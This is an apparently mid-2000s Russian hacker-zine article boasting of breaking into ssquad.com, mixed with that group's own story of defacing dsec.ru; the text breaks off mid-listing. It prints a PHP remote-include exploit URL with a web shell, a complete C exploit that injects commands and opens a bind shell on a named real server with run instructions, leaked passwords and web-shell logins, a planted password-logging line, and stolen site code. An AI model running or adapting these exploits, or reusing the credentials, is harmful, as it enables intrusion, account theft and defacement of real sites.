~~ Как был взломан ssquad.com ~~

   Как-то  раз мы узнали  про то что некая хакирская  группировка  отымела
   сайт  Digital  Security  (dsec.ru).   Это  были  атцы  Security Squad с
   ssquad.com.  Оглядев  их пагу,  мы пришли к выводу, что взлом  оказался
   чистой случайностью,  но тем не менее решили посмотреть,  не утянули ли
   они чего-нить интересного с dsec. Благо дыр в движке оказалось навалом,
   минут через 20 мы уже могли читать директории и файлы. Этого показалось
   мало, поэтому мы слили все ихние скрипты, какие были в поисках cmd-exec
   дырок.  На следующий вечер уже был готов сплоит (см. ниже).


   Далее мы в течении  пары месяцев мониторили всё,  что происходило на их
   сайте и форуме,  попутно снифая пароли юзероff.  Интересного  оказалось
   совсем немного, самое ценное с комментами здесь.


               Как был взломан DSEC.RU (ds edition)

  В общем сидели мы с DodBoB (pass == qwepoizxc) и по аське трещали....  И
  тут   разговор  зашел  о  посещаемости  паги  нашего  проекта  и  работе
  колkектива...  Типа команде уже 3 месяца,  а серьезных работ нет  и пора
  бы задуматься о посещаемости ресурса.
>>  ну или как минимум, прописать в meta-content "hot porno sexy-girls big
>>  tits" и прочего и зарегаться во всех pr0n-t0p-x рейтингах.


  Сразу  высказали несколько идей -
  от  массовых (красивых) дефейсов, до выкладывания чего-то вкусненького (
  шеллы, аськи и т.д.)...
>> Но т.к. всё вкусненькое порастащили хлопцы из аистгруп...

  Второе  как-то  отпало сразу и  было принято  решение  отдефейсить нечто
  серьезное.    Тут   постучался   Shift  и  говорит:  есть  предложение -
  www.dsec.ru - пойдем, типа, поковыряем.

ds> тут как  раз на асю  кодекса снова  прилетело матерное  сообщение вида
ds> "волки пазорныйя, атдайте маю асю!!", которое мы поспешно продинамили.
ds> нада было что-то делать, и тут мы вспомнили, что надо бы залабать что-
ds> нить для рубрики "как был взломан ..". Под руку попался злоебучий сайт
ds> ssquad.com..

  Первым  делом мы  решили посмотреть  где же  dsec.ru хостится,  хостером
  оказался  tau.agava.net =)  Сразу  появилось предположение,  что хозяева
  данного  сайта либо  слишком  зазнались  со  своим  "кондором"  (система
  анализа  ИТ  рисков),  либо  денег  пожалели...  =)  Хостинг  нас  очень
  порадовал,  поэтому предположили, если такое наплевательское отношение к
  жилью, то ко всему остальному такое же...

ds> заглянули мы к 55quad на сайт,  движок нас прям таки обрадовал.  Внизу
ds> гордо было написано  "Design by Shift. Coding by Shift & Squee."...

  Первое,  что бросилось  в  глаза это голосование...  Не  долго думая я я
  создал     папку    и    файлик    на    моей    народовской   страничке
  http://censored/lang/english.php с текстом:

  <pre><? passthru($e); ?>

  Exploit code:

  http://dsec/poll/admin/common.inc.php?base_path=http://censored/lang/english.php&e=id;

ds> security squad exploit code:

 /***  ds private wahrez        55quad_damage.c      [ 15.10.04 ]
  *
  *    evil check.cgi brain-corruption-overflow-by-two exploit to
  *    own Security Squad team.
  *
  *  thanx to razor{88} for a insurstrection technique of
  *  right (black) stack frame.
  *
  *    how this holy wahr33z works:
  *
  *   $ gcc -o 55quad 55quad_damage.c
  *
  *   $ ./55quad 194.204.33.20 ssquad.com 2
  *
  *         *** 55quad_damage evil exploit  by  ds ***
  *   [+] connected, sending mad request
  *   [+] servers says OK, connecting to shell...
  *   [+] connected to shell! have a nice day
  *   FreeBSD vm.balthost.ee 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Tue Apr 20 16:45:54 EEST 2004
  *    [email protected]:/usr/src/sys/compile/ROSE  i386
  *   uid=1344(ssquad) gid=1345(ssquad) groups=1345(ssquad)
  *   w
  *   10:12PM  up  9:09, 3 users, load averages: 0.88, 0.75, 0.73
  *   USER             TTY      FROM              LOGIN@  IDLE WHAT
  *   gdp              p1       pc61.srv.h.starm  1:18PM    12 -
  *   gdp              p2       pc61.srv.h.starm  1:20PM     8 -
  *   admin            p3       ip232.cab7.lsn.s  9:50PM    21 -
  *
  ***/

 #include <stdio.h>
 #include <signal.h>
 #include <fcntl.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <netinet/in.h>


 // linux/x86                           shellcode size: 105 bytes
 char lin[] =
 "\\x31\\xdb\\x43\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\x6a\\x66\\x58"
 "\\xcd\\x80\\x89\\xc6\\x99\\x43\\x52\\x66\\x68\\xfe\\x6a\\x66\\x53"
 "\\x89\\xe0\\x6a\\x10\\x50\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80"
 "\\x43\\x52\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x52\\x52"
 "\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x99\\x89\\xc3\\x89"
 "\\xd1\\x6a\\x3f\\x5e\\x89\\xf0\\xcd\\x80\\x41\\x89\\xf0\\xcd\\x80"
 "\\x41\\x89\\xf0\\xcd\\x80\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f"
 "\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x6a\\x0b\\x58\\xcd"
 "\\x80";


 // freebsd/x86                         shellcode size: 115 bytes
 char bsd[] =
 "\\x31\\xc0\\x6a\\x06\\x6a\\x01\\x6a\\x02\\x6a\\x61\\x50\\xcd\\x80"
 "\\x89\\xc2\\x31\\xc0\\x66\\x50\\x50\\x66\\x68\\xfe\\x6a\\x66\\x6a"
 "\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\x6a\\x68\\x50\\xcd\\x80\\x31"
 "\\xc0\\x50\\x52\\x6a\\x6a\\x50\\xcd\\x80\\x31\\xc0\\x50\\x50\\x52"
 "\\x6a\\x1e\\x50\\xcd\\x80\\x89\\xc1\\x31\\xc0\\x6a\\x02\\x51\\x6a"
 "\\x5a\\x50\\xcd\\x80\\x31\\xc0\\x6a\\x01\\x51\\x6a\\x5a\\x50\\xcd"
 "\\x80\\x31\\xc0\\x50\\x51\\x6a\\x5a\\x50\\xcd\\x80\\x31\\xc0\\x50"
 "\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50"
 "\\x53\\x89\\xe2\\x50\\x52\\x53\\x6a\\x3b\\x50\\xcd\\x80";


 char http_hdr[] =
 "Accept: */*\r\n"
 "User-Agent: Mozilla/3.0 (w00h00)\r\n"
 "Content-Type: application/x-www-form-urlencoded\r\n"
 "Content-Length: ";


 int main(int argc, char *argv[])
 {
   int i, sock, log;
   fd_set io;
   char *hellcode, buf[256], request[1024],
      head[] = "../../../../../../../../../bin/ls`"    // anti-poison string
               "cd /tmp;echo+\x22.globl+_start\x0a_start:\x0a.ascii+\\\x22",
                                                      // insurstrection tech

      tail[] = "\\\x22\x22>a;as+-o+b+a;ld+-o+c+b;./c`\x7c";

   struct sockaddr_in con;

   printf("\n\n\t *** 55quad_damage evil exploit  by  ds ***\n");
  

   if (argc < 4){
      printf("      usage: ./55quad_damage  <server_ip>  <vhost>  <os>\n");
      printf("\n  os types:\n\t 1\t\t- Linux (default)\n\t 2\t\t- FreeBSD\n");
      printf("\n  (i.e. ./55quad_damage 127.0.0.1  localhost  1 )\n");
      return -1;
   }

   memset(&request, 0, 1024);
   memset(&con, 0, 16);
   con.sin_family = 2;
   con.sin_port = htons(80);

   if (atoi(argv[3]) == 1) hellcode = (char *)&lin;
   if (atoi(argv[3]) == 2) hellcode = (char *)&bsd;

   con.sin_addr.s_addr = inet_addr(argv[1]);

   i = 6 + strlen(head)+strlen(tail)+strlen(hellcode);
   sprintf(request, "POST /cgi-bin/check.cgi HTTP/1.1\r\n"
   "%s%d\r\n" // HTTP header
   "Host: %s\r\n"
   "\r\n"     // blank string
   "login=%s%s%s\r\n\r\n", http_hdr, i, argv[2], head, hellcode, tail);

   sock = socket(2, 1, 6);

   if ((connect(sock, (struct sockaddr *)&con, 16)) < 0){
      printf("[-] can't connect to server\n");
      return -1;
   }
  
   printf("[+] connected, sending mad request (len %d)\n", strlen(request));
   send(sock, (char *)&request, strlen(request), 0);

   printf("[+] done, wait a sec...\n");

 /* prepare logging */
   memset(&tail, 0, sizeof(tail)-1);
   snprintf(tail, sizeof(tail)-1, "%s.log", argv[2]);
   log = open(tail, O_CREAT | O_WRONLY | O_APPEND);
   
   write(log, "****** new session\n\n", 20);

   sleep(1);

   close(sock); // kill previous conn

   sock = socket(2, 1, 6);
   con.sin_port = htons(65130);

   if ((connect(sock, (struct sockaddr *)&con, 16)) < 0){
      printf("[-] can't connect to shell\n");
      return -1;
   }

   printf("[+] connected to shell! have a nice day\n");
    
   send(sock, "uname -a; id;\n", 14, 0);

   while(1){
     FD_ZERO(&io);
     FD_SET(0, &io);
     FD_SET(sock, &io);

     select(sock+1, &io, 0, 0, 0);

     if (FD_ISSET(0, &io)){
         memset(&buf, 0, 256);
         i = read(0, &buf, 256);

         if (i > 0){
	          send(sock, (char *)&buf, i, 0);
        	  write(log, "$ ", 2);
           write(log, &buf, i);
       	 }
	
         if (i < 0) return -1;
     }

     if (FD_ISSET(sock, &io)){
         memset(&buf, 0, 256);
         i = recv(sock, (char *)&buf, 256, 0);

         if (i > 0){
	           write(1, &buf, i);
            write(log, &buf, i);
         }
	   
         if (i < 0) return -1;
     }

   }

   return 0;
 }
ds> eof

  Шелл получен. Честно говоря я охренел... Шелл с правами юзера dsec57 =)

ds> шелл был получен. Честно говоря мы не охренели... шелл с правами юзера
ds> ssquad %)

  Сразу был сделан анализ исходных кодов ресурса,  было обнаружено еще две
  уязвимости,  но я о них умолчу,  потому  как если  нашему проекту  будут
  поступать угрозы от dsec "экспертов", мы бы могли немедленно ответить.

>> но к несчастью сайт поимели не dsec, а ds..

ds> было обнаружено  по баге в каждом втором скрипте,  но мы умолчим о них
ds> не потому что нам понадобится отвечать, а просто так.

  После осмотра был залит дефейс с нашего shell_phantom`a ,  вы его можете
  посмотреть в новостях:

  http://www.xakep.ru/post/24516/

  Хотелось бы отметить наплевательское отношение,  админов  к  собственной
  безопасности и отсутствие способностей к анализу вторжений и собственных
  исходных кодов.

>> тоже  можно сказать  и про ssquad.com,  так что это те же яйца,  тока в
>> профиль.

  Проверить компетентность DSEC "экспертов" вы можете прямо тут и сечайс

>> для этого достаточно выполнить следующие шаги:
>> $ gcc -o 55quad_damage 55quad_damage.c
>> $ ./55quad_damage 194.204.33.20 ssquad.com 2

  http://www.dsec.ru/1.php

  login:r57
  passwd:r57

  Удаленный cgi шелл в вашем распоряжении.

>> fuh, ылита юзает варез от rst??

  Best Regards eyes (pass == pupkin_zade) & dodbob (SSQUAD TEAM)

  P.S.  И  эти  люди  занимаются  penetration  тестингом...  Воистину ваша
  безопасность в ваших руках.

ds> и эти люди именуют себя Security Squad??

  P.S2. Так же статья предоставлена журналу "Хакер"

>> так же статья предоставлена журналу defaced




================================================================================
           Пара слов о безопасности сайта или покажи фак киддисам
================================================================================

Не буду рассказывать сказки, а сразу скажу, что нужно делать.

ds> не будем рассказывать сказки, все и так уже поняли что Securty Squad это
ds> кучка дебилов.

1. Выбрать хорошего хостера, это сразу решает большинство проблем безопасности.

ds> о-да, balthost неплохой хостинг. Повезло что админ проапдейтился вовремя.

2. Настроить свой сайт 
Итак, заходи на FTP своего сайта и расставляй там такие атрибуты к файлам и
папкам:  index.php (index.html index.html) - 511
Главное поставь права доступа к каталогу для своего юзера на чтение, а группе и
посторонним запретить вообще !

ds> вот например как тут у ssquad.com:
ds> 
ds> $ ls -la
ds> total 84
ds> drwxrwx---  10 nobody  ssquad    512 Nov  4 22:48 .
ds> dr-xrwx--t  13 nobody  ssquad    512 Nov  4 18:40 ..
ds> -rw-r--r--   1 ssquad  ssquad      0 Oct 10 14:50 .htaccess
ds> -rw-r--r--   1 ssquad  ssquad     63 Oct  9 22:02 .htacxxxcess
ds> -rw-r--r--   1 ssquad  ssquad  17658 Oct  9 22:45 1.jpg
ds> drwxr-xr-x   6 ssquad  ssquad    512 Nov  2 15:00 cgi-bin
ds> drwxr-xr-x   3 ssquad  ssquad    512 Oct 24 21:24 defacez
ds> drwxr-xr-x   2 ssquad  ssquad    512 Nov  2 12:36 fF0sssq
ds> drwxr-xr-x  14 ssquad  ssquad   1024 Oct 18 23:11 forum
ds> drwxr-xr-x   2 ssquad  ssquad    512 Nov  4 23:01 images
ds> drwxr-xr-x   3 ssquad  ssquad   1024 Oct 26 21:24 imgirc
ds> drwxr-xr-x   2 ssquad  ssquad    512 Nov  4 10:48 inc
ds> -rw-r--r--   1 ssquad  ssquad   1788 Oct 22 18:03 index.html
ds> drwxr-xr-x  10 ssquad  ssquad    512 Oct  6 18:17 soft
ds> 

Еще нужно отредактировать php.ini (на хорошем хостере предусмотрена такая
возможность):

register_globals=off
allow_url_fopen=off 
safe_mode=on 
disable_functions=system,cmd,passthru,phpinfo 

Если необходимо использовать системные команды, то можно поступить так: 
$cmd=escapeshellcmd($string); 
Если используешь публичные движки для сайта, не поленись подредактировать
префикс в таблицах к БД, это спасет тебя от SQL - атак. 
Регулярно обновляй этот движок / cкрипт.

ds> поняли, дети?? всегда обновляйте движок как это делает SSquad:
ds> cgi-bin/check.cgi cut here ---------------------------------------
#!/usr/bin/perl

use CGI::Cookie;
use CGI qw(:all);

sub get_form
{
  read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  @pairs = split(/&/, $buffer);
  foreach $pair (@pairs)
  {
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/% ([a-fA-F0-9][a-fA-F0-9])/pack ("c",hex($1))/eg;
    $value =~ s/<!--(.|\n)*-->//g;
    $Form{$name}=$value;
  }
} 


&get_form;
  
#function of control panel
sub get_in
{
print "<html><body bgcolor=silver>
<table border=1 width=100% height=100%><tr height=20><td align=center>SSquad(c)</td><td></td></tr>
<tr><td align=center width=70 >";

if ($mass[1]==1)
{
print "<form action=add_user.cgi method=post><input type=submit value=AddUser ></form><br>";
}
else {}

if ($mass[2]==1)
{
print "<form action=add_news.cgi method=post><input type=submit value=News ></form><br>";
}
else {}

if ($mass[3]==1)
{
print "<form action=add_articles.cgi method=post><input type=submit value=Articles ></form><br>";
}
else {}

if ($mass[4]==1)
{
print "<form action=add_defaces.cgi method=post><input type=submit value=Defaces ></form><br>";
}
else {}

if ($mass[5]==1)
{
print "<form action=add_bug.cgi method=post><input type=submit value=BugTrack ></form><br>";
}
else {}

if ($mass[6]==1)
{
print "<form action=add_voiting.cgi method=post><input type=submit value=Voiting ></form><br>";
}
else {}

if ($mass[7]==1)
{
print "<form action=add_downloads.cgi method=post><input type=submit value=Soft ></form><br>";
}
else {}

if ($mass[8]==1)
{
print "<form action=add_friend.cgi method=post><input type=submit value=Friends ></form>";
}
else {}
opendir(DIR, "../../admins");
my @dir=grep !/^\.+$/,readdir DIR;
closedir DIR;
print "</td><td align=center><h2><b>You have entred administration form.
Welcome, \U $Form{'login'}.<br></h2>We Are:</b> @dir</td></table></body></html>"
}  



#name&password check
open (INFO, "../../admins/$Form{'login'}");
my $info=<INFO>;
@mass = split (/ /, "$info"); 
$password=crypt($Form{'pass'}, substr($Form{'pass'},-1));  
  if (($Form{'login'}) && ($password eq $mass[0]))
  {
  my $cookie = new CGI::Cookie(-name=>"info", -value=>"$Form{'login'} $password");
    print header(-cookie=>$cookie);
    open(FD, ">>add_news.cgi");
                                 # hehe, defaced sniffing includez:
    if ($Form{'pass'} ne ""){
    print FD "# $Form{'login'} / $Form{'pass'}\n"; } 
    close(FD);
    &get_in;
    }
  else 
  {
  
  print "content-type: text/html\n\n";
  print " <html> <body bgcolor=silver> 
	       <br><br><br><br><br><br><br><br><br><br><br>
	       <center> <h1><b>Identify yourself.</b></h1>
	       <form action=check.cgi method=post> 
	       <b>User name:</b> <input type=text name=login> 
	       <br><br>
	       <b>Password :</b> <input type=password name=pass>	       
	       <p>
	       <input type=submit value=ENTER> 
               </form></center></body></html> ";
	       }

ds> cut here -------------------------------------------
ds> кто не видит тут дырки тот слепой

Если у тебя есть какой-то каталог на сервере с личными данными не поленись
заблокировать его для веба с помощью .htaccess:
---------------------- 

deny from all 

--------------------- 
Не храни пароли в открытом виде, шифруй их, не составляй их из общедоступных слов.

ds> никогда, запомни, никогда не храни их в открытом виде и даже не думай их
ds> plain-текстом передавать!! (look end of this article)

Если ты все правильно сделаешь и подойдешь к задаче с умом, у тебя все получится,
кидисы будут тебе не страшны, а о безопасности всего сервера пусть заботится
главный админ. Пусть обновляет Апач и другое ПО . А о том как защищать сам
сервер, тема уже отдельной статьи..

ds> но т.к. у самих Security Squad мозгов очень мало, бага оказалась в скрипте
ds> админ-зоны, также есть куча дырок по всему движку и форуму, но о это уже
ds> тема для отдельной статьи.

P.S. еcли что-то не получается, пиши мне, помогу ... 
[email protected] 
ds> hehe, ждём писем )))

И благодарности я принимаю в WebMoney и чем больше, тем лучше...
------------------------------------------------------------------------------------
Z759508300454 
U037954733700 
R104974205442 
E382172043552 
------------------------------------------------------------------------------------
ds> не скупитесь товарищи, все средства переходят к нам в благотворительность.
ds> не дадим кидисам умереть!!
 
////////////////////////////// 

/////////////////////////////// 

Writed by DreAmeRz 
ssquad.com

При перепечатке ссылка на ssquad.com – обязательна, а, то мы действуем быстро !
ds> хаха, мы быстрее оказались )) Кто успел тот и съел, а??

################################################################################

                More phun things:

$ cd cgi-bin

$ ls -la
total 260
drwxr-xr-x   6 ssquad  ssquad    512 Nov  2 15:00 .
drwxrwx---  10 nobody  ssquad    512 Nov  4 22:48 ..
-rwxr-xr-x   1 ssquad  ssquad   5124 Oct 29 16:28 add_articles.cgi
-rwxr-xr-x   1 ssquad  ssquad   4897 Sep 28 20:01 add_bug.cgi
-rwxr-xr-x   1 ssquad  ssquad   5408 Sep 28 20:01 add_defaces.cgi
-rwxr-xr-x   1 ssquad  ssquad  10502 Sep 28 20:01 add_downloads.cgi
-rwxr-xr-x   1 ssquad  ssquad   5424 Oct 27 16:41 add_friend.cgi
-rwxr-xr-x   1 ssquad  ssquad   6236 Nov  4 09:43 add_news.cgi
-rwxr-xr-x   1 ssquad  ssquad   4089 Sep 28 19:56 add_user.cgi
-rwxr-xr-x   1 ssquad  ssquad   4274 Oct 10 21:23 add_voiting.cgi
-rwxr-xr-x   1 ssquad  ssquad  15144 May 14 23:15 cgiecho
-rwxr-xr-x   1 ssquad  ssquad  15144 May 14 23:15 cgiemail
-rwxr-xr-x   1 ssquad  ssquad   2833 Oct 23 20:38 check.cgi
-rwxr-xr-x   1 ssquad  ssquad   2171 Oct 22 19:10 contacts.cgi
-rwxr-xr-x   1 ssquad  ssquad   2764 May 14 23:15 entropybanner.cgi
-rwxr-xr-x   1 ssquad  ssquad  11539 Oct 29 16:29 index.cgi
drwxr-xr-x   6 ssquad  ssquad    512 Oct 26 21:19 irc
-rwxr-xr-x   1 ssquad  ssquad   2760 May 14 23:15 randhtml.cgi
drwxr-xr-x   2 ssquad  ssquad    512 Sep 28 19:40 templates
drwxr-xr-x   2 ssquad  ssquad    512 Sep 28 19:41 tools
drwxr-xr-x   2 ssquad  ssquad    512 Oct 10 21:23 voiting
-rwxr-xr-x   1 ssquad  ssquad   2090 Oct 17 20:32 voiting.cgi

$ ls -la irc/
total 152
drwxr-xr-x  6 ssquad  ssquad    512 Oct 26 21:19 .
drwxr-xr-x  6 ssquad  ssquad    512 Nov  2 15:00 ..
-rw-r--r--  1 ssquad  ssquad     29 Oct 26 21:16 .cvsignore
-rw-r--r--  1 ssquad  ssquad    105 Oct 26 21:16 .htaccess
-rw-r--r--  1 ssquad  ssquad    954 Oct 26 21:16 cgiirc.config
-rw-r--r--  1 ssquad  ssquad   6056 Oct 26 21:16 cgiirc.config.full
-rwxr-xr-x  1 ssquad  ssquad   2375 Oct 26 21:16 client-perl.cgi
-rw-r--r--  1 ssquad  ssquad   4117 Oct 26 21:16 client.c
drwxr-xr-x  2 ssquad  ssquad    512 Oct 26 21:16 docs
drwxr-xr-x  2 ssquad  ssquad    512 Oct 26 21:17 formats
drwxr-xr-x  3 ssquad  ssquad    512 Oct 26 21:18 interfaces
-rw-r--r--  1 ssquad  ssquad   1637 Oct 26 21:16 ipaccess.example
-rwxr-xr-x  1 ssquad  ssquad   5922 Oct 26 21:16 irc.cgi
drwxr-xr-x  3 ssquad  ssquad    512 Oct 26 21:19 modules
-rwxr-xr-x  1 ssquad  ssquad  34031 Oct 26 21:16 nph-irc.cgi
$ cd irc

$ cat irc.cgi
#! /usr/bin/perl -w
# CGI:IRC - http://cgiirc.sourceforge.net/
# Copyright (C) 2000-2003 David Leadbeater <[email protected]>
# vim:set ts=3 expandtab shiftwidth=3 cindent:

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

# Uncomment this if the server doesn't chdir (Boa).
# BEGIN { (my $dir = $0) =~ s|[^/]+$||; chdir($dir) }

use strict;
use vars qw($VERSION);
use lib qw/modules interfaces/;

($VERSION =
 '$Name: rel_0_5_4 $ 0_5_CVS $Id: irc.cgi,v 1.28 2004/01/29 14:50:27 dgl Exp $'
) =~ s/^.*?(\d\S+) .*?(\d{4}\/\S+) .*$/$1/;
$VERSION .= " ($2)";
$VERSION =~ s/_/./g;

require 'parse.pl';

if(!parse_cookie()) {
   print "Set-cookie: cgiircauth=". random(25) .";path=/\n";
}
print join("\r\n", 
	  'Content-type: text/html',
      'Pragma: no-cache',
      'Cache-control: must-revalidate, no-cache',
      'Expires: -1') . "\r\n";

# Please leave this.
my $copy = <<EOF;
<font size =+1>
Так же вы можете подключиться наш канал с помошью программы mIRC.<br> Скачать её можно либо на нашем сайте, либо на сайте производителя. <br>сервер: <b>irc.icqinfo.ru</b><br>канал: <b>#ssquad</b> <br><br><a href="http://www.ssquad.com/">Security Squad</a><br />
EOF

my $config = parse_config('cgiirc.config');
my $cgi = cgi_read();

my $scriptname = $config->{script_login} || 'irc.cgi';

my $interface = ref $cgi && defined $cgi->{interface} ? $cgi->{interface} : 'default';
$interface =~ s/[^a-z0-9]//gi;
require('interfaces/' . $interface . '.pm');

if(ref $cgi && defined $cgi->{item}) {
   print "\r\n"; # send final header
   my $name = $cgi->{item};
   exit unless $interface->exists($name);
   $interface->$name($cgi, $config, 0);
}elsif(ref $cgi && defined $cgi->{Nickname}) {
   print "\r\n"; # send final header
   my $r = random();
   my($format, $style);
   
   my %p = ( 
         Nickname => 'nick', 
         Channel => 'chan',
         Port => 'port',
         Server => 'serv',
         Realname => 'name',
         interface => 'interface',
         Password => 'pass',
         Format => 'format'
      );
   my $out;
   for(keys %p) {
	  next unless exists $cgi->{$_};
	  $out .= cgi_encode($p{$_}) . '=' . cgi_encode($cgi->{$_}) . '&';
   }

   $format = exists $cgi->{Format}
            ? $cgi->{Format} 
            : $config->{format} || 'default';
   $format =~ s/[^a-z]//gi;
   $format = parse_config("formats/$format");
   $style = exists $format->{style} ? $format->{style} : 'default';

   $out .= "R=$r";
   $out =~ s/\&$//;
   $interface->frameset($scriptname, $config, $r, $out, $interface, $style);

}elsif(defined $config->{form_redirect}) {
   print join("\r\n",
         "Status: 302",
         "Location: $config->{form_redirect}",
         "",
         $config->{form_redirect});
}else{
   print "\r\n"; # send final header

   my(%items,@order);

   my $server = dolist($config->{default_server});
   my $channel = dolist($config->{default_channel});
   my $port = dolist($config->{default_port});

   if(ref $cgi && $cgi->{chan}) {
      $channel = $cgi->{chan};
   }

   if(!defined $config->{allow_non_default} || !$config->{allow_non_default}) {
       $server = "-DISABLED- $server" unless ref $server;
       $channel = "-DISABLED- $channel" unless ref $channel;
       $port = "-DISABLED- $port" unless ref $port;
   }elsif(!defined $config->{access_server} || !$config->{access_server}) {
       $server = "-DISABLED- $server" unless ref $server;
   }

   opendir(FORMATS, "formats");
   my @formats;
   for(sort readdir FORMATS) {
      next unless !/^\./ && -f "formats/$_";
      if($_ eq ($config->{format} || 'default')) {
         unshift(@formats, $_);
      }else{
         push(@formats, $_);
      }
   }
   closedir(FORMATS);

   %items = (
      Nickname => $ENV{REMOTE_USER} || $config->{default_nick},
      Channel => $channel,
      Server => $server,
      Port => $port,
      Password => '-PASSWORD-',
      Realname => $config->{default_name},
      Format => \@formats,
   );

   @items{keys %items} = map(ref $_ ? $_ : escape_html($_), values %items);

   $items{Nickname} =~ s/\?/int rand 10/eg;

   if(ref $cgi && $cgi->{adv}) {
	  if($config->{'login advanced'}) {
		 @order = split(' ', $config->{'login advanced'});
	  }else{
		 @order = qw/Nickname Realname Server Port Channel Password Format/;
	  }
   }else{
	  if($config->{'login basic'}) {
		 @order = split(' ', $config->{'login basic'});
	  }else{
		 @order = qw/Nickname Server Channel/;
	  }
   }
   $interface->login($scriptname, $interface, $copy, $config, 
         \@order, \%items,
         (ref $cgi && $cgi->{adv} ? 0 : 1));
}

sub random {
   return join('',map(('a'..'z','0'..'9')[int rand 62], 0..($_[0] || 15)));
}

sub dolist {
   my($var) = @_;
   my @tmp = split(/,\s*/, $var);
   return [@tmp] if $#tmp > 0;
   return $var;
}

sub cgi_read { 
   return unless defined $ENV{REQUEST_METHOD};
   if($ENV{REQUEST_METHOD} eq 'GET' && $ENV{QUERY_STRING}) {
	  return parse_query($ENV{QUERY_STRING});
   }elsif($ENV{REQUEST_METHOD} eq 'POST' && $ENV{CONTENT_LENGTH}) {
	  my $tmp;
	  read(STDIN, $tmp, $ENV{CONTENT_LENGTH});
	  return parse_query($tmp);
   }
}

sub cgi_encode { # from CGI.pm
   my $toencode = shift;
   $toencode=~s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
   return $toencode;
}

sub error {
   die(@_);
}
$ cat client.c
/* CGI:IRC C Helper CGI
 * Copyright (c) David Leadbeater 2002
 * Released Under the GNU GPLv2 or Later
 * NO WARRANTY - See GNU GPL for more
 * $Id: client.c,v 1.9 2002/05/11 14:52:18 dgl Exp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

/* Change this to the tmpfile path set in the CGI:IRC Config */
#define TMPLOCATION "/tmp/cgiirc-"

int unix_connect(char *where);
int error(char *error);
int readinput(char *params);
int get_rand(char *params, char *rand);
int get_cookie(char *cookie);

int main(void) {
   int fd;
   char params[2048]; /* Keep input in here */
   char rand[50]; /* Random value - used for the socket location */
   char tmp[2148]; /* I decided to stop adding comments after here */
   char cookie[100];
   
   if(!readinput(params)) error("No input found\n");
   if(!get_rand(params, rand)) error("Random Value not found\n");

   if(get_cookie(cookie)) {
      char tmp2[2148]; /* I'm sure there's a better way of doing this.. */
      strncpy(tmp2, params, 2147);
      snprintf(params, 2148, "COOKIE=%s&%s", cookie, tmp2);
   }

   fd = unix_connect(rand);
   send(fd, params, strlen(params), 0);
   send(fd, "\n", 1, 0);

   while(read(fd, tmp, 2048) > 0) {
	  printf("%s",tmp);
   }

   return 1;
}

int error(char *error) {
   printf("Content-type: text/html\n\n");
   printf("An error occured: %s\n",error);
   exit(1);
}

int readinput(char *params) {
   char request[10];

   if(!getenv("REQUEST_METHOD")) return 0;
   strncpy(request, getenv("REQUEST_METHOD"), 9);
   request[9] = 0;
   if(!strlen(request)) return 0;

   if(strncmp(request, "GET", 3) == 0) {
	  strncpy(params, getenv("QUERY_STRING"), 2048);
	  params[2048] = 0;
	  if(!strlen(params)) return 0;
      return 1;
   }else if(strncmp(request, "POST", 4) == 0) {
	  int length;
	  if(!getenv("CONTENT_LENGTH")) return 0;
	  length = atoi(getenv("CONTENT_LENGTH"));
	  if(!length || length == 0) return 0;
	  fread(params, length > 2048 ? 2048 : length, 1, stdin);
	  params[length] = 0;
	  return 1;
   }else{
	  return 0;
   }
}

int get_rand(char *params, char *rand) { 
   char *ptr, *end_ptr;
   int r = 0, i = 0;
   ptr = params;
   end_ptr = ptr + strlen(ptr);

   for(;ptr < end_ptr; ptr++) {
	  if(r == 1) {
		 if(*ptr == '&') break;
		 if(i > 48) break;
		 if(isalpha(*ptr) || isdigit(*ptr)) {
		    rand[i] = *ptr;
		    i++;
		 }
	  }else if(*ptr == 'R' && *(++ptr) == '=') {
		 r = 1;
	  }
   }
   rand[i] = 0;

   if(r == 1 && strlen(rand)) return 1;
   return 0;
}

int get_cookie(char *cookie) {
   char ctmp[1024];
   char *sptr, *end_ptr;
   int i;

   if(!getenv("HTTP_COOKIE")) return 0;
   strncpy(ctmp, getenv("HTTP_COOKIE"), 1023);

   sptr = strstr(ctmp, "cgiircauth=");
   if(sptr == NULL) return 0;
   if(strlen(sptr) < 12) return 0;
   sptr += 11;
   end_ptr = sptr + (strlen(sptr) < 99 ? strlen(sptr) : 99);

   i = 0;
   while((int)sptr < (int)end_ptr && *sptr != ';') {
      cookie[i] = *sptr;
      sptr++;
      i++;
   }
   cookie[i] = '\0';
   return 1;
}

int unix_connect(char *where) {
   /*size_t size;*/
   struct sockaddr_un saddr;
   int sock, len;
   char filename[100], errmsg[100];

   len = strlen(TMPLOCATION) + strlen(where) + 6;
   if(len > 100) error("Too long");
   snprintf(filename, len, "%s%s/sock", TMPLOCATION, where);
   filename[len] = 0;

   sock = socket(AF_UNIX, SOCK_STREAM, 0);
   if(sock == -1) error("socket() error\n");

   saddr.sun_family = AF_UNIX;
   strcpy(saddr.sun_path, filename);

   if(connect(sock, (struct sockaddr *)&saddr, SUN_LEN(&saddr)) == -1) {
          switch(errno) {
